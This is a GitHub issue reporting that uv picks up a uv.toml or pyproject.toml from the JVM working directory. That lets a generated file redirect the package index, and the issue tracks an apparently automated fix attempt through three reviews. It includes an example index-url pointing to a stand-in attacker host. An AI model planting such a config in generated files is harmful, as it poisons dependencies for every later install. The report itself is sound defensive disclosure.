You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
uv reads its configuration from the JVM working directory, which can redirect the package index #45
When uv is on the PATH, PythonDependencies runs uv pip install --python … --target … in the JVM's working directory,
and uv reads its configuration from there: a uv.toml, or a pyproject.toml with a [tool.uv] / [tool.uv.pip] section, in the working directory (or a parent of it) changes where packages come from.
Scenario: an agent writes, among its generated files, a uv.toml with index-url = "https://evil.example/simple" into its working directory —
every later dependency install pulls from that index into the shared dependency directory, and the packages are then imported by the embedded interpreter.
Verified with uv 0.13.7: both files made uv pip install --python .venv/bin/python --target … contact the configured index.
pip is not affected — it does not read a pip.conf from the working directory.
It is the same threat as #24 (files in the working directory steering the installer), through configuration instead of sys.path.
Possible fix: pass --no-config to uv (keeping the user-level configuration through UV_CONFIG_FILE, or documenting that only environment variables apply),
and/or run the installer processes in a neutral directory (runProcess gains a directory parameter with the fix for #24).
Found during the review of the fix for #24 — pre-existing on main.
Status from an automated fix run: blocked after 3 review rounds; the work is on the branch issue-45-uv-config (off main), no PR opened.
Designs tried:
Run the installer in the file system root — breaks relative paths (pkg @ ./dist/x.whl, relative UV_CACHE_DIR / UV_CONFIG_FILE) that work on main.
uv --project <root of the working directory> — still reads the working directory's uv.toml when the working directory is the root (Docker without WORKDIR, systemd services, D:\), and uv < 0.4.16 rejects --project.
(current) uv ≥ 0.2.30 gets --no-config --config-file <the user config, else the system config> (nothing when UV_CONFIG_FILE is set); older uv unchanged. Closes the threat for every working directory, verified with uv 0.2.29–0.13.7.
Remaining blocking findings of the 3rd review — design 3 re-implements uv's config discovery and gets it wrong vs main:
The user config is located through Java's user.home (the passwd entry), while uv uses $HOME — a container setting HOME=/app silently loses its company index; with no passwd entry user.home is ?, a relative path, which could reopen this issue.
With a user config present, the system config is no longer merged under it (uv ≥ 0.5 does) — an index-url from $XDG_CONFIG_DIRS/uv/uv.toml is lost.
UV_NO_CONFIG=1 is overridden by the explicit --config-file.
Suggested direction (verified by the reviewer with uv ≥ 0.4.18): --project <a private directory holding an empty uv.toml> (e.g. next to the dependency directory) — uv stops its discovery at the first uv.toml, so the working directory is never read, and uv itself still merges user and system config with its own HOME / XDG / UV_NO_CONFIG logic; keep --no-config as the fallback for uv versions without --project.
Minor: the protection fails open silently when uv --version can't be parsed (log a warning); uv --version is spawned per install under the lock (cache it).
Also found and fixed on the branch, pre-existing on main: --constraints is rejected by uv 0.2.30–0.5.0 — filed separately.
Activity
Run the dependency installer in the root directory, where uv finds no…
Keep the installer in the working directory, giving uv the root direc…
Run uv with --no-config and its user or system configuration file (#45)
morisil commentedon Nov 11, 2026
Status from an automated fix run: blocked after 3 review rounds; the work is on the branch
issue-45-uv-config(offmain), no PR opened.Designs tried:
pkg @ ./dist/x.whl, relativeUV_CACHE_DIR/UV_CONFIG_FILE) that work onmain.uv --project <root of the working directory>— still reads the working directory'suv.tomlwhen the working directory is the root (Docker withoutWORKDIR, systemd services,D:\), and uv < 0.4.16 rejects--project.--no-config --config-file <the user config, else the system config>(nothing whenUV_CONFIG_FILEis set); older uv unchanged. Closes the threat for every working directory, verified with uv 0.2.29–0.13.7.Remaining blocking findings of the 3rd review — design 3 re-implements uv's config discovery and gets it wrong vs
main:user.home(the passwd entry), while uv uses$HOME— a container settingHOME=/appsilently loses its company index; with no passwd entryuser.homeis?, a relative path, which could reopen this issue.index-urlfrom$XDG_CONFIG_DIRS/uv/uv.tomlis lost.UV_NO_CONFIG=1is overridden by the explicit--config-file.Suggested direction (verified by the reviewer with uv ≥ 0.4.18):
--project <a private directory holding an empty uv.toml>(e.g. next to the dependency directory) — uv stops its discovery at the firstuv.toml, so the working directory is never read, and uv itself still merges user and system config with its ownHOME/ XDG /UV_NO_CONFIGlogic; keep--no-configas the fallback for uv versions without--project.Minor: the protection fails open silently when
uv --versioncan't be parsed (log a warning);uv --versionis spawned per install under the lock (cache it).Also found and fixed on the branch, pre-existing on
main:--constraintsis rejected by uv 0.2.30–0.5.0 — filed separately.